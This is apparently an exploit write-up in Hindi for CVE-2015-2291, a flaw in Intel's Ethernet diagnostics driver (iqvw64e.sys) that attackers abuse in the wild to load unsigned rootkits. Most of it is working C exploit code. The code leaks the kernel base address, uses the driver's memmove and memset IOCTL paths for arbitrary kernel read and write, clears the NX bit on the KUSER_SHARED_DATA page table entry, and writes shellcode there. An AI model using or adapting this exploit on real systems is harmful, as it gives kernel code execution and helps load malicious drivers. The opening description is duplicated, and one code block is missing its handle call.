
(1) IQVW32.sys 1.3.1.0 से पहले और (2) IQVW64.sys 1.3.1.0 से पहले, विंडोज के लिए इंटेल ईथरनेट डायग्नोस्टिक्स ड्राइवर में, स्थानीय उपयोगकर्ताओं को एक निर्मित (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, या (d) 0x80862007 IOCTL कॉल के माध्यम से सेवा अस्वीकार या संभवतः कर्नेल विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देता है।
(1) IQVW32.sys 1.3.1.0 से पहले और (2) IQVW64.sys 1.3.1.0 से पहले इंटेल ईथरनेट डायग्नोस्टिक्स ड्राइवर विंडोज के लिए स्थानीय उपयोगकर्ताओं को (a) 0x80862013, (b) 0x8086200B, (c) 0x8086200F, या (d) 0x80862007 IOCTL कॉल के माध्यम से सेवा से इनकार या कर्नेल विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देता है।
इस रिपॉजिटरी में प्रश्न में भेद्यता का एक विवरण शामिल है, साथ ही 64-बिट विंडोज 7 SP1 और विंडोज 10 20H2 पर कार्यात्मक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट्स शामिल हैं। ड्राइवर फ़ाइल Driver Files निर्देशिका में स्थित की जा सकती है। यदि आप विवरण/पेपर में कोई टाइपो खोजते हैं, या यदि आप अधिक विस्तृत विवरण के साथ कुछ विवरण देखना चाहते हैं, तो कृपया रिपॉजिटरी पर एक मुद्दा बनाएं! मैं उन्हें जल्द से जल्द ठीक कर दूंगा।
विशेष रूप से इस डिवाइस ड्राइवर के लिए एक एक्सप्लॉइट लिखने के पीछे प्रेरणा केवल यह है कि वर्तमान में इसका दुरुपयोग जंगल में हमलावर के अहस्ताक्षरित रूट-किट को लोड करने के लिए किया जा रहा है। BYOVD (अपना स्वयं का कमजोर ड्राइवर लाओ) विधि का उपयोग करके, मैलवेयर जांच सकता है कि क्या यह उन्नत विशेषाधिकारों के साथ चल रहा है, कमजोर डिवाइस ड्राइवर की एक प्रति छोड़ता है, ड्राइवर को लोड करता है, और बाद में रूट-किट को लोड करने के लिए कर्नेल कोड निष्पादन प्राप्त करने के लिए इसका शोषण करता है। मैं मैलवेयर नमूने को सफलतापूर्वक रिवर्स इंजीनियर करने में असमर्थ था, इसलिए मैंने एक्सप्लॉइट बनाने का बीड़ा उठाया।
जंगल में देखे गए नमूने: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
डिवाइस ड्राइवर, जिसका नाम iqvw64e.sys है, एक ड्राइवर है जो नेटवर्क एडेप्टर डायग्नोस्टिक्स करने के लिए डिज़ाइन किया गया है। यह उपयोगकर्ता-मोड घटक को कुछ IO नियंत्रण कोड (जिन्हें IOCTLs भी कहा जाता है) को उजागर करके डिवाइस ड्राइवर के साथ बातचीत करने की अनुमति देता है, जिसमें बातचीत के दौरान उपयोगकर्ता के इनपुट बफर में एक "उप" IO नियंत्रण कोड प्रदान किया जाता है। कमजोर कोड-पथ को हिट करने के लिए उपयोग किया जाने वाला IO नियंत्रण कोड 0x80862007 है। प्राथमिक नियंत्रण कोड के अलावा, इस विश्लेषण में शामिल किए जाने वाले उल्लिखित "उप" IO नियंत्रण कोड 0x33 कोड होंगे जो memmove फ़ंक्शन कॉल को हिट करने के लिए, और 0x30 कोड जो memset फ़ंक्शन कॉल कोड-पथ को हिट करने के लिए होंगे। यह विवरण DriverEntry रूटीन के बारे में कोई विवरण शामिल नहीं करेगा, क्योंकि Microsoft के दस्तावेज़ीकरण पृष्ठ पर पर्याप्त दस्तावेज़ीकरण है जो आपको एक विस्तृत स्पष्टीकरण देता है।
शुरू करने के लिए, हम जानना चाहते हैं कि हम पहले स्थान पर इस विशेष डिवाइस ड्राइवर के साथ कैसे बातचीत कर सकते हैं। डिवाइस ड्राइवर के साथ संचार करने का सबसे सामान्य तरीका DeviceIoControl नामक फ़ंक्शन के उपयोग के माध्यम से है। इस फ़ंक्शन के पीछे सामान्य विचार यह है कि हम CreateFileA द्वारा बनाए गए एक वैध ड्राइवर हैंडल को पास कर सकते हैं, एक IO नियंत्रण कोड पास कर सकते हैं जो उस कर्नेल रूटीन से मेल खाता है जिसे हम चाहते हैं, एक संरचना (या बफर) पास कर सकते हैं जिसकी वह अपेक्षा करता है, और यह हमारे आउटपुट बफर में डेटा लौटाएगा। जबकि इस तरह की रूटीन कभी-कभी आवश्यक हो सकती हैं (जैसे ओवरक्लॉकिंग उद्देश्यों के लिए मॉडल-विशिष्ट रजिस्टरों तक पहुंचना), वे सुरक्षा के लिए एक गंभीर जोखिम भी पैदा करते हैं। लेकिन... कैसे?
CVE-2015-2291 के मामले में, भेद्यता एक अनप्रिविलेज्ड उपयोगकर्ता द्वारा ट्रिगर की जा सकती है। क्योंकि कोई सैनिटाइजेशन जांच मौजूद नहीं है, और भेद्यता का शोषण करने के लिए प्रशासक विशेषाधिकारों की आवश्यकता नहीं है, यह एक सुरक्षा जोखिम पैदा करता है। इन दो खामियों के नीचे जो निहित है, वह है IO नियंत्रण कोड इंटरफ़ेस द्वारा उजागर memset और memmove फ़ंक्शन कॉल को पूरी तरह से नियंत्रित करने की क्षमता। पहले से उल्लिखित फ़ंक्शन DeviceIoControl को याद रखें, हम एक संरचना कैसे पास कर सकते हैं जिसका उपयोग कर्नेल रूटीन में किया जाएगा? इस तरह यह सब एक साथ आता है।
चलिए एक कदम पीछे हटते हैं। हम पहले कमजोर डिवाइस ड्राइवर से संबंधित ड्राइवर हैंडल प्राप्त करना चाहते हैं। हालाँकि, इससे पहले भी, हमें संबंधित नामित डिवाइस ऑब्जेक्ट का पता लगाने की आवश्यकता है। ये एक प्रतीकात्मक लिंक (आमतौर पर हार्ड-कोडेड) द्वारा उपयोगकर्ता-स्पेस में उजागर होते हैं, जिसे SysInternals सूट के भाग WinObj का उपयोग करके पाया जा सकता है। हालाँकि हम प्रतीकात्मक लिंक को डंप करने के लिए एक स्ट्रिंग डंपिंग उपयोगिता का उपयोग कर सकते हैं, या वैकल्पिक रूप से डिवाइस ड्राइवर को रिवर्स इंजीनियर कर सकते हैं, मैंने बस डिवाइस ड्राइवर को लोड किया और WinObj का उपयोग करके इसका पता लगाया। डिवाइस ड्राइवर के संबंध में पाया गया प्रतीकात्मक लिंक \\.\GLOBALROOT\Device\Nal है। ड्राइवर हैंडल प्राप्त करने के लिए, हमें CreateFileA फ़ंक्शन को कॉल करना होगा और इसे बाद में प्रक्रिया में उपयोग करने के लिए एक वैध ड्राइवर हैंडल लौटाना होगा। इस प्रक्रिया का कोड इस प्रकार है:```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
हम शोषण प्रक्रिया में बाद में ड्राइवर हैंडल का उपयोग करेंगे। अब हम अपने एक्सप्लॉइट की तैयारी शुरू करेंगे। अगला कदम [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) फ़ंक्शन का उपयोग करके `ntdll.dll` लाइब्रेरी को लोड करना होगा ताकि एक [मॉड्यूल हैंडल](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types) प्राप्त हो सके, जिससे हम आवश्यक फ़ंक्शन्स को गतिशील रूप से ढूंढ सकें। जबकि `ntdll.dll` लाइब्रेरी शायद पहले से ही हमारी प्रक्रिया में लोड हो चुकी है, फिर भी हमें उस लाइब्रेरी का एक हैंडल प्राप्त करना होगा जिसका हम उपयोग कर सकें। शोषण के लिए हमें जिन फ़ंक्शन्स की आवश्यकता है वे हैं [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation) (NT कर्नेल के बेस एड्रेस को लीक करने के लिए, मध्यम प्रक्रिया अखंडता के साथ, ताकि बाद में शोषण प्रक्रिया में उपयोग हो सके) और [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html) फ़ंक्शन (कमजोरी को ट्रिगर करने के लिए)। जहां तक `ntdll.dll` लाइब्रेरी को लोड करने के कोड का सवाल है, वह इस प्रकार है:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
अब जब हमने लाइब्रेरी पर एक हैंडल प्राप्त कर लिया है, तो हम NtQueryIntervalProfile फ़ंक्शन का पता लगाकर शुरुआत करेंगे। शुरू करने के लिए, हमें इस फ़ंक्शन के लिए एक प्रकार की परिभाषा की आवश्यकता होगी, क्योंकि यह अप्रलेखित है। हालाँकि आप यह प्रकार परिभाषा ऑनलाइन पा सकते हैं, मैंने इसे आसान पहुँच के लिए यहाँ प्रदान किया है:```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
इस फ़ंक्शन का उपयोग करने के लिए, हमें `NtQueryIntervalProfile` प्रकार का उपयोग करके एक वेरिएबल (local या global, आप पर निर्भर है) घोषित करने की भी आवश्यकता होगी। अब, हम इस वेरिएबल को एक वास्तविक फ़ंक्शन में कैसे बदलें? ऐसा करने के लिए, हम [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) नामक फ़ंक्शन का उपयोग करेंगे। जिस मॉड्यूल को हम खोजना चाहते हैं (पहला पैरामीटर) उसका हैंडल और फ़ंक्शन का नाम (दूसरा पैरामीटर) पास करके, हम मॉड्यूल में किसी भी फ़ंक्शन का पता लगा सकते हैं और उस फ़ंक्शन के लिए एक पॉइंटर प्राप्त कर सकते हैं! इस जानकारी को संसाधित करने में आपकी सहायता के लिए कोड प्रदान किया गया है।```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
कारण कि फ़ंक्शंस को डायनामिक रूप से लोड करना और उनका उपयोग करने की क्षमता काम करती है, यह है क्योंकि फ़ंक्शंस स्वयं निष्पादन योग्य कोड के पॉइंटर होते हैं। फ़ंक्शन का वास्तविक मुख्य भाग वह कोड है जो निष्पादित किया जाएगा।
अब जब हमने NtQueryIntervalProfile फ़ंक्शन पॉइंटर को हल कर लिया है, हमें अभी भी NtQuerySystemInformation फ़ंक्शन का पता प्राप्त करने की आवश्यकता है। पहले की तरह, हमें इस फ़ंक्शन के लिए एक प्रकार परिभाषा की आवश्यकता है, और हमें फ़ंक्शन को कॉल करने के लिए एक वेरिएबल भी घोषित करने की आवश्यकता होगी। पहले की तरह, मैंने आसानी के लिए प्रकार परिभाषा प्रदान की है।```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
और, पिछली बार की तरह, हमें फ़ंक्शन का पता लगाने की आवश्यकता है। `GetProcAddress` के पिछले कॉल और इस कॉल के बीच एकमात्र अंतर वह फ़ंक्शन है जिसे हम ढूंढ रहे हैं। हम फ़ंक्शन को कॉपी कर सकते हैं और अपने दूसरे फ़ंक्शन की खोज करने के लिए दूसरे पैरामीटर को बदल सकते हैं। कोड लिखे जाने के बाद, हमारे पास कुछ इस प्रकार होना चाहिए:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
बिल्कुल सही! हमने वे सभी गैर-उपस्थित फ़ंक्शन ढूंढ लिए हैं जिनकी हमें आवश्यकता है। अब, हमें NT Kernel आधार पता लीक करने की आवश्यकता होगी। NtQuerySystemInformation की सहायता से, हम एक क्वेरी बना सकते हैं जो वर्तमान में लोड किए गए सभी डिवाइस ड्राइवरों के आधार पते और अन्य जानकारी वापस करेगी। NtQuerySystemInformation फ़ंक्शन का पहला पैरामीटर एक एनम है, विशेष रूप से वह जो सार्वजनिक रूप से दस्तावेजित नहीं है। एनम SystemModuleInformation है, जिसका संगत मान 0xB है। फिर, हमें लौटाई गई संरचनाओं में से एक के लिए एक पॉइंटर पास करना होगा। आवश्यक संरचनाएं और एनम नीचे प्रदान किए गए हैं, FuzzySecurity (@b33f) के सौजन्य से:```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
लेकिन रुकिए, इसमें और भी कुछ है! हमें आवंटित करने के लिए संरचना का आकार निर्दिष्ट करने की आवश्यकता होगी। क्योंकि संरचना का आकार उन डिवाइस ड्राइवरों की संख्या पर निर्भर करता है जिनके बारे में जानकारी प्राप्त करनी है, हमें इस फ़ंक्शन को दो बार कॉल करने की आवश्यकता होगी; पहला फंक्शन कॉल संरचना के अपेक्षित आकार को प्राप्त करने के लिए होगा, और दूसरा फंक्शन कॉल जानकारी प्राप्त करने और इसे हमारी संरचना में संग्रहीत करने के लिए होगा। आकार प्राप्त करने के लिए, पहले पैरामीटर के लिए उपरोक्त `SystemModuleInformation` एनम का उपयोग करें, एक वेरिएबल का पॉइंटर पास करें जो संरचना का आकार संग्रहीत करेगा, और बाकी बचे पैरामीटरों के लिए `0` (या `NULL`) पास करें। कोड कुछ इस प्रकार दिखना चाहिए:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);
बहुत आसान! हमने अपेक्षित संरचना का आकार सफलतापूर्वक प्राप्त कर लिया है। अब, हमें अपने वेरिएबल के लिए मेमोरी आवंटित करने की आवश्यकता है जो जानकारी संग्रहीत करेगा। VirtualAlloc नामक फ़ंक्शन का उपयोग करके, हम किसी भी पते पर स्टैक मेमोरी आवंटित कर सकते हैं जो हम प्रदान करते हैं, किसी भी आकार के साथ, अपने स्वयं के सुरक्षा सेट के साथ, और इस मेमोरी के लिए एक पॉइंटर लौटा सकते हैं। हमारे उद्देश्यों के लिए, हमें इस मेमोरी को एक निश्चित पते पर आवंटित करने की आवश्यकता नहीं है, इसलिए हम मेमोरी मैनेजर को हमारे लिए मेमोरी में एक स्थान चुनने की अनुमति देने के लिए 0 पास करेंगे। इसके अतिरिक्त, हमें NtQuerySystemInformation द्वारा लौटाए गए आकार के साथ स्टैक मेमोरी का एक ब्लॉक आवंटित करने की भी आवश्यकता होगी, यही कारण है कि हमें मान संग्रहीत करना पड़ा। आवंटन प्रकार और सुरक्षा पैरामीटर के लिए, बस नीचे दिए गए कोड में दिखाए गए सामान्य तर्कों का उपयोग करें।```C
module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
अब जब हमने लौटाई गई संरचना के लिए अपने स्टैक मेमोरी को आवंटित कर लिया है, तो हम सिस्टम मॉड्यूल जानकारी क्वेरी कर सकते हैं, और हर लोडेड डिवाइस ड्राइवर की जानकारी वाली एक संरचना प्राप्त कर सकते हैं। ऐसा करने के लिए, हम पहले के `NtQuerySystemInformation` फ़ंक्शन कॉल का पुन: उपयोग कर सकते हैं, और संरचना में एक पॉइंटर (दूसरा पैरामीटर) और संरचना का आकार (तीसरा पैरामीटर) पास कर सकते हैं। अब, क्या आपके पास ऐसा कुछ है?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
unused = getchar();
return 0;
}
printf("\n[+] Queried system module information.");
खैर, मुझे उम्मीद है कि आपके पास भी कुछ ऐसा ही होगा। एनटी कर्नल बेस पता लीक करने के लिए हमें बस इतना करना बाकी है कि हम अपनी संरचना से पूछताछ करें! इस मामले में आपको ड्राइवर के नाम के खिलाफ स्ट्रिंग्स की तुलना करने की आवश्यकता नहीं है, क्योंकि एनटी कर्नल ड्राइवर की जानकारी हमेशा इस संरचना में इंडेक्स 0 पर होती है। किसी ड्राइवर का बेस पता प्राप्त करने के लिए, बस ImageBaseAddress संरचना फ़ील्ड का मान प्रिंट करें, स्टोर करें या लौटाएँ। यह सुनिश्चित करना भी अच्छा अभ्यास है कि उपयोग करने से पहले पॉइंटर NULL न हो।```C
if (module_info)
{
printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress);
return (unsigned long long)module_info->Modules[0].ImageBaseAddress;
}
printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;
हमने सफलतापूर्वक कर्नेल बेस एड्रेस प्राप्त कर लिया है। अब, इस कमजोरी का शोषण (exploitation) प्रक्रिया शुरू करने से पहले एक और कदम है। हमें एक `QWORD` (64-बिट पूर्णांक) पॉइंटर बनाना होगा जो हमारे [PTE (पेज टेबल एंट्री)](https://en.wikipedia.org/wiki/Page_table) को संग्रहीत करेगा और इसके लिए `VirtualAlloc` का उपयोग करके स्टैक मेमोरी आवंटित करनी होगी। PTEs पर इस पेपर में बाद में चर्चा की जाएगी।
जैसा कि पहले प्रदर्शित किया गया था, हम मेमोरी आवंटित करने और मेमोरी के ब्लॉक का पॉइंटर वापस पाने के लिए `VirtualAlloc` का उपयोग करेंगे। मेरे एक्सप्लॉइट में उपयोग किया गया कोड नीचे दिखाया गया है:```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);
अब जब सेटअप प्रक्रिया का अंतिम चरण पूरा हो गया है, तो आइए शोषण प्रक्रिया शुरू करें!
जैसा कि पेपर के पिछले भागों में उल्लेख किया गया है, हम जिस IO नियंत्रण कोड का उपयोग करना चाहते हैं वह IOCTL 0x80862007 है। लेकिन, हम "sub" IOCTL को कैसे पास करें?

डिवाइस ड्राइवर को पास किए जाने वाले हमारे user-land इनपुट का एक पॉइंटर rcx रजिस्टर में संग्रहीत होता है। जैसा कि हम इस आकृति में देख सकते हैं, हमने देखा कि यह उस संरचना में पहले QWORD मान को डीरेफरेंस कर रहा है जिसे हम पास करेंगे। फिर, यह प्राप्त मान पर एक switch-case निष्पादित करता है।

डीकंपाइल किए गए psuedo-code के माध्यम से स्क्रॉल करते हुए, हमें दो रूटीन मिलते हैं जो हमें क्रमशः memset और memove के सभी तीन मानों को नियंत्रित करने की अनुमति देते हैं। संरचना में पहले QWORD के रूप में 0x30 मान पास करके, हम memset कोड-पथ पर पहुंच सकते हैं। वैकल्पिक रूप से, संरचना में पहले QWORD के रूप में 0x33 मान पास करके, हम इसके बजाय memmove कोड-पथ पर पहुंचते हैं। इन दो कोड-पथों को क्रमशः नीचे दर्शाया गया है।

उपयोग किए गए इनपुट बफर के ऑफसेट को देखते हुए, हम आसान पढ़ने के लिए इन दोनों फ़ंक्शनों के लिए पास करने के लिए संरचनाएं बनाने में सक्षम थे। ध्यान दें कि एक QWORD फ़ील्ड है जिसका उपयोग पैडिंग के रूप में किया जा रहा है। जबकि हम इसका मान कुछ भी सेट नहीं करेंगे, हमें अपनी संरचना परिभाषा को सही बनाने के लिए इस फ़ील्ड की आवश्यकता है। इसके अतिरिक्त, इन रूटीनों के कॉल में उपयोग किए गए पैरामीटर पर ध्यान दें। रिवर्स इंजीनियरिंग प्रक्रिया के दौरान, हमने सीखा कि पास किए गए पैरामीटर अपने संबंधित फ़ंक्शन परिभाषाओं के साथ सही क्रम में हैं। इसका संकेत देने वाले आंकड़े भी नीचे प्रदान किए गए हैं।
memset कोड-पथ इनपुट संरचना:```C
typedef struct _MEMSET_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long Value; // Offset: 0x10 (16)
unsigned long long Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;
`memmove` कोड-पथ इनपुट संरचना:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long* Source; // Offset: 0x10 (16)
unsigned long long* Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

त्वरित विश्लेषण के बाद, यह मानना सुरक्षित था कि ये हमें एक मनमाना कर्नेल पढ़ने और लिखने का एक्सप्लॉइट प्रिमिटिव प्रदान करेंगे। यह विंडोज 10 पर शोषण के लिए उपयुक्त है, क्योंकि हमें किसी भी एक्सप्लॉइट प्रिमिटिव को मनमाना पढ़ने और लिखने में बदलने की आवश्यकता नहीं है, और इस प्रकार यह हमें इस कमजोरी का आसानी से शोषण करने की अनुमति देता है।
शुरू करने के लिए, हम अपने memmove एक्सप्लॉइट प्रिमिटिव का उपयोग करके nt!MiGetPteAddress+0x13 कर्नेल फ़ंक्शन को पढ़ेंगे। फ़ंक्शन में इस ऑफसेट पर, हम पाते हैं कि एक मनमाना मान है। हमारे एक्सप्लॉइट में किए जा सकने वाले अन्य कार्यों के साथ मिलाकर, हम सभी PTE का आधार पता (base address) की गणना कर सकते हैं! क्या आपको वह pte_address चर याद है जो हमने पहले बनाया था? या, क्या आपको NT कर्नेल बेस पता लीक करना याद है? पहले चर्चा की गई सभी एक्सप्लॉइट तैयारी ने इसे संभव बनाया। सभी PTE के आधार पते की गणना करने का कोड नीचे दर्शाया गया है। KUSER_SHARED_DATA पते पर ध्यान दें, क्योंकि विंडोज 10 20H2 में, यह कर्नेल में बचे अंतिम कुछ मेमोरी क्षेत्रों में से एक था जो कर्नेल ASLR (एड्रेस स्पेस लेआउट रैंडमाइजेशन) से प्रभावित नहीं था।
```C
unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050;
current_pte_address = kuser_shared_data_loc >> 9;
current_pte_address &= 0x7FFFFFFFF8;
memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);
अब जब हमने अपने लक्ष्य पृष्ठ के PTE का आधार पता (base address) निकाल लिया है, तो हम इस पते को डीरेफरेंस करना चाहते हैं और उन बिट्स को प्राप्त करना चाहते हैं जिनका उपयोग पृष्ठ प्रविष्टि द्वारा किया जा रहा है। हमें इस डेटा की जल्द ही आवश्यकता होगी ताकि मेमोरी के इस क्षेत्र को पढ़ने, लिखने और निष्पादन योग्य में बदल सकें। हमने अपने स्ट्रक्चर में `source` पते को अपने PTE पते की ओर इंगित करने के लिए बदल दिया, और `destination` फ़ील्ड को एक स्टैक वेरिएबल की ओर इंगित करने के लिए बदल दिया ताकि प्राप्त बिट्स को संग्रहीत किया जा सके, इनपुट स्ट्रक्चर के किसी भी अन्य फ़ील्ड को नहीं बदलते हुए।```C
unsigned long long current_pte_contents = 0;
memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = ¤t_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);
अब जब हमारे पास वास्तविक PTE के बिट कंटेंट हैं, तो हम इसे बिना अन्य बिट्स को चालू या बंद किए निष्पादन योग्य (executable) के रूप में चिह्नित करना चाहते हैं। ऐसा करने के लिए, हम प्राप्त मान में सबसे उच्च-स्तरीय बिट को साफ़ करना चाहते हैं ताकि NX (no execute) bit को हटाया जा सके। सौभाग्य से, हम इस कार्य को पूरा करने के लिए संग्रहीत मान पर बिटवाइज़ AND ऑपरेशन का उपयोग कर सकते हैं, AND'ing के साथ मान 0x0FFFFFFFFFFFFFFF का उपयोग करके। फिर हम अपने आर्बिट्ररी राइट प्रिमिटिव का उपयोग करके कर्नेल एड्रेस पर एक राइट ट्रिगर करेंगे, ताकि PTE के एड्रेस पर संग्रहीत मान को ओवरराइट किया जा सके। हमारी संरचना के संबंध में, हम अपने संग्रहीत बिट्स को इंगित करने के लिए source संरचना फ़ील्ड को संशोधित करेंगे, और destination को वापस PTE एड्रेस पर इंगित करने के लिए बदल देंगे। यह मूलतः PTE का एड्रेस प्राप्त करने के क्रम के विपरीत है। इसे नीचे दिए गए कोड स्निपेट के साथ प्रदर्शित किया गया है।```C
current_pte_contents &= 0x0FFFFFFFFFFFFFFF;
memmove_input_struct.Source = ¤t_pte_contents;
memmove_input_struct.Destination = current_pte_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);
जारी रखने से पहले, हम यह सुनिश्चित करना चाहेंगे कि PTE की सामग्री को ओवरराइट किया गया था। यदि बिट ओवरराइट विफल हो जाता है, तो हम मशीन को क्रैश कर देंगे (`KERNEL_SECURITY_CHECK_FAILURE` या समान बग जांच के साथ)। इसकी पुष्टि करने के लिए, हम [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) में `!pte` कमांड का उपयोग करेंगे ताकि यह सुनिश्चित हो सके कि हमारा ओवरराइट इच्छित रूप से काम कर रहा है।

PTE बिट्स की जांच करने पर, हम देख सकते हैं कि NX-बिट अब मौजूद नहीं है! इसका मतलब है कि मेमोरी का `KUSER_SHARED_DATA` क्षेत्र अब निष्पादन योग्य है। जब हम मेमोरी के इस क्षेत्र से निपट रहे हैं, तो कर्नेल पेलोड को यहाँ कहीं रखना समझदारी है। मेमोरी के इस खंड का विश्लेषण करने के बाद, हमने सीखा कि `KUSER_SHARED_DATA` क्षेत्र के आधार से `0x50` का ऑफसेट मुक्त मेमोरी है। यह हमारे पेलोड को रखने के लिए एकदम सही स्थान है!

पहले से हमारे `memset` राइट प्रिमिटिव को याद रखें? इस प्रिमिटिव का उपयोग करके, हम अपने कर्नेल पेलोड के सभी बाइट्स को पुनरावृत्त कर सकते हैं और `memset` का उपयोग करके मेमोरी के इस क्षेत्र में प्रत्येक व्यक्तिगत बाइट लिख सकते हैं। जबकि पेलोड को इस स्थान पर लिखने के लिए `memmove` का उपयोग करना संभव है, हम दोनों प्रिमिटिव का उपयोग करने का एक बहाना चाहते थे, यह प्रदर्शित करने के लिए कि कैसे एक या दूसरे का दुरुपयोग किया जा सकता है, विशेष रूप से पूर्ण नियंत्रण के तहत। हम `0x30` जंप कोड का उपयोग करेंगे ताकि `memset` कोड-पथ को हिट किया जा सके, जिसमें लिखे जाने वाले बाइट्स की लंबाई `0x1` होगी। `destination` को एक से बढ़ाना होगा ताकि मुक्त मेमोरी के अगले बाइट की ओर इशारा किया जा सके, साथ ही हमारे कर्नेल पेलोड के ऑफसेट के साथ। इस प्रक्रिया को नीचे दिए गए `for` लूप के साथ प्रदर्शित किया जा सकता है।```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = shellcode[i];
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);
